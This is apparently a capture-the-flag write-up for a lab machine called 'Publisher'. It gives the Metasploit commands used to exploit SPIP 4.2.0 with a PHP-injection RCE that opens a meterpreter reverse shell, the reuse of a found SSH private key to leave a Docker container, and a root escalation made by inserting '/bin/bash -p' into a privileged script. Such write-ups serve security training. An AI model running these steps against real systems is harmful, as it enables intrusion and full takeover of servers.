On the machine "Publisher", we started by enumerating and discovering SPIP version 4.2.0, which had a known RCE exploit. Using this exploit, we gained initial access and found ourselves in a Docker container. Then escaped the container by leveraging an SSH connection with a found ID RSA key. Finally, we achieved privilege escalation by modifying a script to gain root access.
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter301 GET 9l 28w 313c http://10.10.94.102/images => http://10.10.94.102/images/200 GET 32l 224w 17917c http://10.10.94.102/images/ads.jpg200 GET 354l 770w 5959c http://10.10.94.102/style.css200 GET 81l 462w 49772c http://10.10.94.102/images/bottom_panel_bg.jpg200 GET 142l 610w 69796c http://10.10.94.102/images/image_02.jpg200 GET 237l 1368w 110318c http://10.10.94.102/images/image_01.jpg200 GET 150l 766w 8686c http://10.10.94.102/200 GET 150l 766w 8686c http://10.10.94.102/index.html200 GET 109l 602w 53555c http://10.10.94.102/images/logo.jpg200 GET 69l 74w 4051c http://10.10.94.102/images/comment_icon.jpg200 GET 8l 45w 3539c http://10.10.94.102/images/180_column_bg.jpg200 GET 7l 13w 379c http://10.10.94.102/images/menu_bg_repeat.jpg200 GET 17l 96w 5807c http://10.10.94.102/images/templatmeo_column_two_bg.jpg[###>----------------] - 48s 23952/133015 3m found:15 errors:0[###>----------------] - 48s 23810/132920 494/s http://10.10.94.102/301 GET 9l 28w 311c http://10.10.94.102/spip => http://10.10.94.102/spip/301 GET 9l 28w 318c http://10.10.94.102/spip/config => http://10.10.94.102/spip/config/301 GET 9l 28w 315c http://10.10.94.102/spip/tmp => http://10.10.94.102/spip/tmp/
We can see an interesting directory.
http://10.10.94.102/spip/
While checking on Wappalyzer https://www.wappalyzer.com/, we found that the webpage is running SPIP 4.2.0. Let's check if there are any vulnerabilities or exploits available for this version.
Lets procceed with the explotation with Metasploit
msf6 > search SPIPMatching Modules================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/webapp/spip_connect_exec 2012-07-04 excellent Yes SPIP connect Parameter PHP Injection 1 exploit/unix/webapp/spip_rce_form 2023-02-27 excellent Yes SPIP form PHP Injection 2 \_ target: Automatic (PHP In-Memory) . . . . 3 \_ target: Automatic (Unix In-Memory) . . . .Interact with a module by name or index. For example info 3, use 3 or use exploit/unix/webapp/spip_rce_formAfter interacting with a module you can manually set a TARGET with set TARGET 'Automatic (Unix In-Memory)'msf6 > use 2[*] Additionally setting TARGET => Automatic (PHP In-Memory)[*] Using configured payload php/meterpreter/reverse_tcpmsf6 exploit(unix/webapp/spip_rce_form) >
msf6 exploit(unix/webapp/spip_rce_form) > set RHOSTS 10.10.94.102RHOSTS => 10.10.94.102msf6 exploit(unix/webapp/spip_rce_form) > set TARGETURI /spipTARGETURI => /spip
msf6 exploit(unix/webapp/spip_rce_form) > exploit[*] Started reverse TCP handler on [*] Running automatic check ("set AutoCheck false" to disable)[*] SPIP Version detected: 4.2.0[+] The target appears to be vulnerable.[*] Got anti-csrf token: AKXEs4U6r36PZ5LnRZXtHvxQ/ZZYCXnJB2crlmVwgtlVVXwXn/MCLPMydXPZCL/WsMlnvbq2xARLr6toNbdfE/YV7egygXhx[*] 10.10.94.102:80 - Attempting to exploit...[*] Sending stage (39927 bytes) to 10.10.94.102[*] Meterpreter session 1 opened -> 10.10.94.102:44302) at 2024-07-03 14:20:11 +0200meterpreter >
While enumerating to escape Docker, I discovered an .ssh directory in the home folder containing an id_rsa key. This enabled us to establish an SSH connection and successfully escape Docker.
www-data@41c976e507f8:/home/think$ ls -lals -latotal 48drwxr-xr-x 8 think think 4096 Feb 10 21:27 .drwxr-xr-x 1 root root 4096 Dec 7 2023 ..lrwxrwxrwx 1 root root 9 Jun 21 2023 .bash_history -> /dev/null-rw-r--r-- 1 think think 220 Nov 14 2023 .bash_logout-rw-r--r-- 1 think think 3771 Nov 14 2023 .bashrcdrwx------ 2 think think 4096 Nov 14 2023 .cachedrwx------ 3 think think 4096 Dec 8 2023 .configdrwx------ 3 think think 4096 Feb 10 21:22 .gnupgdrwxrwxr-x 3 think think 4096 Jan 10 12:46 .local-rw-r--r-- 1 think think 807 Nov 14 2023 .profilelrwxrwxrwx 1 think think 9 Feb 10 21:27 .python_history -> /dev/nulldrwxr-xr-x 2 think think 4096 Jan 10 12:54 .sshlrwxrwxrwx 1 think think 9 Feb 10 21:27 .viminfo -> /dev/nulldrwxr-x--- 5 www-data www-data 4096 Dec 20 2023 spip-rw-r--r-- 1 root root 35 Feb 10 21:20 user.txt
Let's copy id_rsa and id_rsa.pub to our local machine and connect via SSH. The id_rsa.pub file indicates it's associated with the user 'think'.
chmod 600 id_rsa
ssh -i id_rsa think@IP
Voila! We're now connected via SSH. So far, this machine has been quite straightforward. Let's proceed with privilege escalation enumeration to identify how we can elevate our privileges and gain root.
ssh -i id_rsa think@10.10.94.102Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-169-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 03 Jul 2024 12:32:04 PM UTC System load: 0.0 Usage of /: 76.6% of 9.75GB Memory usage: 36% Swap usage: 0% Processes: 151 Users logged in: 0 IPv4 address for br-72fdb218889f: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.10.94.102Expanded Security Maintenance for Applications is not enabled.0 updates can be applied immediately.Enable ESM Apps to receive additional future security updates.See https://ubuntu.com/esm or run: sudo pro statusThe list of available updates is more than a week old.To check for new updates run: sudo apt updateFailed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settingsthink@publisher:~$
Examined the script used by /usr/sbin/run_container to manage Docker containers.
# Contents of /opt/run_container.sh#!/bin/bash# Function to list Docker containerslist_containers() { if [ -z "$(docker ps -aq)" ]; then docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef; fi echo "List of Docker containers:" docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}" echo ""}# Function to prompt user for container IDprompt_container_id() { read -p "Enter the ID of the container or leave blank to create a new one: " container_id validate_container_id "$container_id"}# Function to display options and perform actionsselect_action() { echo "" echo "OPTIONS:" local container_id="$1" PS3="Choose an action for a container: " options=("Start Container" "Stop Container" "Restart Container" "Create Container" "Quit") select opt in "${options[@]}"; do case $REPLY in 1) docker start "$container_id"; break ;; 2) if [ $(docker ps -q | wc -l) -lt 2 ]; then echo "No enough containers are currently running." exit 1 fi docker stop "$container_id" break ;; 3) docker restart "$container_id"; break ;; 4) echo "Creating a new container..." docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest break ;; 5) echo "Exiting..."; exit ;; *) echo "Invalid option. Please choose a valid option." ;; esac done}# Main script executionlist_containersprompt_container_id # Get the container ID from prompt_container_id functionselect_action "$container_id" # Pass the container ID to select_action function
Modifying the Script:
Edited /opt/run_container.sh to include /bin/bash -p in the prompt_container_id() function. This insertion granted a root shell when executed.
# Modified /opt/run_container.sh#!/bin/bash# Function to list Docker containerslist_containers() { if [ -z "$(docker ps -aq)" ]; then docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef; fi echo "List of Docker containers:" docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}" echo ""}# Function to prompt user for container IDprompt_container_id() { /bin/bash -p # Inserted command for privilege escalation read -p "Enter the ID of the container or leave blank to create a new one: " container_id validate_container_id "$container_id"}# Function to display options and perform actionsselect_action() { echo "" echo "OPTIONS:" local container_id="$1" PS3="Choose an action for a container: " options=("Start Container" "Stop Container" "Restart Container" "Create Container" "Quit") select opt in "${options[@]}"; do case $REPLY in 1) docker start "$container_id"; break ;; 2) if [ $(docker ps -q | wc -l) -lt 2 ]; then echo "No enough containers are currently running." exit 1 fi docker stop "$container_id" break ;; 3) docker restart "$container_id"; break ;; 4) echo "Creating a new container..." docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest break ;; 5) echo "Exiting..."; exit ;; *) echo "Invalid option. Please choose a valid option." ;; esac done}# Main script executionlist_containersprompt_container_id # Get the container ID from prompt_container_id functionselect_action "$container_id" # Pass the container ID to select_action function
PentOpsVault